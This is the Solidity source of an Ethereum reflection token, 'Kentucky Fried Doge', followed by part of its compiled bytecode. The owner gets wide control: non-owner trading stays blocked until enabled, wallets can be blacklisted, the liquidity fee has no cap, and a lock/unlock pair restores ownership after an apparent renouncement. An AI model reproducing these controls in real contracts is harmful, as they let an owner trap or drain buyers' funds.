operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract KFD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Kentucky Fried Doge"; string private _symbol = "KFD"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 9; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 900000000000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 100000000000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require(taxFee < 10, "Tax fee cannot be more than 10%"); _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > 69000000, "Max Tx Amount cannot be less than 69 Million"); _maxTxAmount = maxTxAmount * 10**9; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 69000000000000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(80).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106103035760003560e01c806360d4848911610190578063a6334231116100dc578063d4a3883f11610095578063e8c4c43c1161006f578063e8c4c43c14610965578063ea2f0b371461097a578063ec28438a1461099a578063f2fde38b146109ba57600080fd5b8063d4a3883f146108df578063dd467064146108ff578063dd62ed3e1461091f57600080fd5b8063a63342311461084a578063a69df4b51461085f578063a9059cbb14610874578063b6c5232414610894578063c49b9a80146108a9578063d12a7688146108c957600080fd5b80637d1db4a5116101495780638da5cb5b116101235780638da5cb5b146107d75780638ee88c53146107f557806395d89b4114610815578063a457c2d71461082a57600080fd5b80637d1db4a51461076857806388f820201461077e5780638ba4cc3c146107b757600080fd5b806360d48489146106a45780636bc87c3a146106dd57806370a08231146106f3578063715018a61461071357806375f0a87414610728578063764d72bf1461074857600080fd5b80633685d4191161024f5780634549b039116102085780634a74bb02116101e25780634a74bb021461060c57806352390c021461062b5780635342acb41461064b5780635d098b381461068457600080fd5b80634549b039146105a357806348c54b9d146105c357806349bd5a5e146105d857600080fd5b80633685d419146104ed578063395093511461050d5780633ae7dc201461052d5780633b124fe71461054d5780633bd5d17314610563578063437823ec1461058357600080fd5b806318160ddd116102bc5780632a360631116102965780632a3606311461046c5780632d8381191461048c5780632f05205c146104ac578063313ce567146104cb57600080fd5b806318160ddd1461041757806323b872dd1461042c57806329e04b4a1461044c57600080fd5b80630305caff1461030f578063061c82d01461033157806306fdde0314610351578063095ea7b31461037c57806313114a9d146103ac5780631694505e146103cb57600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b5061032f61032a366004612d6c565b6109da565b005b34801561033d57600080fd5b5061032f61034c366004612d89565b610a2e565b34801561035d57600080fd5b50610366610aad565b6040516103739190612da2565b60405180910390f35b34801561038857600080fd5b5061039c610397366004612df7565b610b3f565b6040519015158152602001610373565b3480156103b857600080fd5b50600d545b604051908152602001610373565b3480156103d757600080fd5b506103ff7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161037